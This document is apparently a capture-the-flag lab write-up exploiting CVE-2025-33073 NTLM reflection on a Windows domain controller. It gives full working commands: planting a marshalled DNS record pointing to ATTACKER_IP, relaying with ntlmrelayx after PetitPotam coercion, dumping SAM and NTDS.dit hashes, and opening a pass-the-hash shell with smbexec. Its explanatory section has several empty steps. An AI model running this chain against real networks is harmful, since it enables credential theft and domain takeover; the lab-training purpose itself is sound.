Introduction

Historical Context: The NTLM Reflection Problem

CVE-2025-33073 is a critical privilege escalation vulnerability discovered in Windows systems that bypasses existing NTLM reflection mitigations. This vulnerability, also known as the "Reflective Kerberos Relay Attack" or "NTLM Reflection SMB Flaw," allows authenticated attackers to gain SYSTEM-level privileges on any Windows machine that doesn't enforce SMB signing.

NTLM reflection attacks have plagued Windows systems for nearly two decades. NTLM reflection is a special type of NTLM authentication relay attack where the authentication is relayed back to the same machine from which it originated.

Microsoft has been playing a continuous game of "whack-a-mole" with these vulnerabilities:

Important

As is often the case in real-life Windows penetration tests, you will start the NTLM Reflection machine with the following account credentials that can be used to access the SMB service: sawan/R3flect0r

Nmap Results

We performed a full aggressive port and service scan.

$ nmap -sCV -T5 TARGET_IP
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=REFLECTION.reflection.thm
| Not valid before: 2025-09-13T14:39:19
|_Not valid after:  2026-03-15T14:39:19
|_ssl-date: 2025-10-22T10:20:19+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: REFLECTION0
|   NetBIOS_Domain_Name: REFLECTION0
|   NetBIOS_Computer_Name: REFLECTION
|   DNS_Domain_Name: reflection.thm
|   DNS_Computer_Name: REFLECTION.reflection.thm
|   Product_Version: 10.0.20348
|_  System_Time: 2025-10-22T10:19:38+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: REFLECTION; OS: Windows; CPE: cpe:/o:microsoft:windows

Coercion Check

Run the following commands to check the status of SMB signing and coercion vulnerabilities:

$ netexec smb TARGET_IP -u sawan -p R3flect0r -M coerce_plus
screen

DNS Registration

Run the following command to add the new DNS entry for the following record (localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA) pointing to the attacker's machine IP..

$ python3 dnstool.py -u 'reflection.thm'\\'sawan' -p 'R3flect0r' --action add --record localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA --data ATTACKER_IP TARGET_IP
screen

Verify that the DNS record has been created successfully and is pointing to the attacker's machine.

$ python3 dnstool.py -u 'reflection.thm'\\'sawan' -p 'R3flect0r' --action query --record localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA --data ATTACKER_IP TARGET_IP

It can also be verified using the following dig command:

$ dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.thm @TARGET_IP

Dumping the SAM Hashes

Run the ntlmrelayx to intercept the NLTM authentication and relay it back to the target

$ impacket-ntlmrelayx -t smb://TARGET_IP -smb2support --no-http-server

We will now use NetExec to coerce the target host into initiating an outbound NTLM authentication using our spoofed DNS name.

$ netexec smb TARGET_IP -u sawan -p R3flect0r -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Once the coercion succeeds, the ntlmrelayx tool will extract the SAM hashes from the target host.

You can now answer Question 1 with the NTLM hash of the Administrator account.

Bonus

We have successfully dumped the SAM hashes from the target host. Although it's not required, we can crack the hash to retrieve the local administrator password.

hash crack

Accessing the Filesystem

Note that the target host is a domain controller, and we are not able to authenticate to the system using the local administrator hash simply by dumping the SAM hashes. So, let's exploit the NTLM Reflection vulnerability again to access the file systems.

Rerun the ntlmrelayx, but this time with -smb2support and -i flag (-i flag will open an interactive shell for accessing the SMB server).

$ impacket-ntlmrelayx -t smb://TARGET_IP -smb2support -i
screen

Next, we use NetExec again to coerce the target host into initiating an outbound NTLM authentication using our spoofed DNS name.

$ netexec smb TARGET_IP -u sawan -p R3flect0r -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
screen

Once the coercion succeeds, ntlmrelayx will open a SMB client shell via TCP on 127.0.0.1:11000

screen

Connect to the SMB client shell using netcat and access the file systems with administrative privileges.

screen screen

You can now answer Question 2 with the flag.

Dumping Credentials from Domain Controller

As we are exploiting NTLM Reflection on the domain controller, not on the workstation, dumping the SAM hashes will not be very helpful. So, let's dump NTDS.dit using Volume Shadow Copy Service (VSS). Rerun ntlmrelayx with the “-socks” flag to create a SOCKS proxy connection for every successful relay.

$ impacket-ntlmrelayx -t smb://TARGET_IP -smb2support -socks
screen

Next, use NetExec again to coerce the target host into initiating an outbound NTLM authentication using our spoofed DNS name.

$ netexec smb reflection.thm -u sawan -p R3flect0r -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
screen

Observe that we successfully received the connection and ntlmrelayx created a SOCKS proxy.

screen

Next, we will use impacket-secretsdump via proxychains. First, we’ll need to edit the “/etc/proxychains4.conf” file and make sure it uses port 1080 (socks4), which is the default SOCKS port used by ntlmrelayx.

$ proxychains4 -q impacket-secretsdump TARGET_IP -no-pass -just-dc -use-vss
screen

You can now answer Question 3 with the NTLM hash of the SVC account.

Remote Access with impacket-smbexec

We will now access a remote shell with elevated privileges to answer Question 4.

$ python3 /usr/share/doc/python3-impacket/examples/smbexec.py \ -hashes aad3b435b51404eeaad3b435b51404ee:***************763d6eb08635d \ svc@TARGET_IP
screen of whoami

How it works?

Step 1: DNS Record Manipulation

The attack begins with creating a malicious DNS record using marshalled target information. This technique, originally documented by James Forshaw, allows encoding additional data into DNS names..

The attacker creates a DNS record like:

srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Or more universally:

localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

This DNS name contains:

  • Hostname part: srv1 or localhost
  • Marshalled data: 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
Step 2: Target Name Processing

When Windows processes this target name for authentication:

The LsapCheckMarshalledTargetInfofunction strips the marshalled data, leaving only the hostname. For detailed code analysis, click here.

Step 3: Localhost Detection Logic

The SspIsTargetLocalhostfunction then compares the extracted hostname against:

Since the hostname matches, Windows concludes this is a local authentication request.

Step 4: Authentication Coercion

The attacker uses techniques like PetitPotam to coerce a SYSTEM service (typicallylsass.exe) to authenticate to their controlled server. PetitPotam exploits the MS-EFSRPC protocol to force authentication without requiring user interaction.

Step 5: Local Authentication Bypass

When the SMB client connects to the attacker's server:

Step 6: Token Relay and Impersonation

The attacker's relay server:

Kerberos Subkey Exploitation

When using Kerberos instead of NTLM:

Reference: NTLM Reflection Analysis - Synacktiv
Write-up Reflection by zзd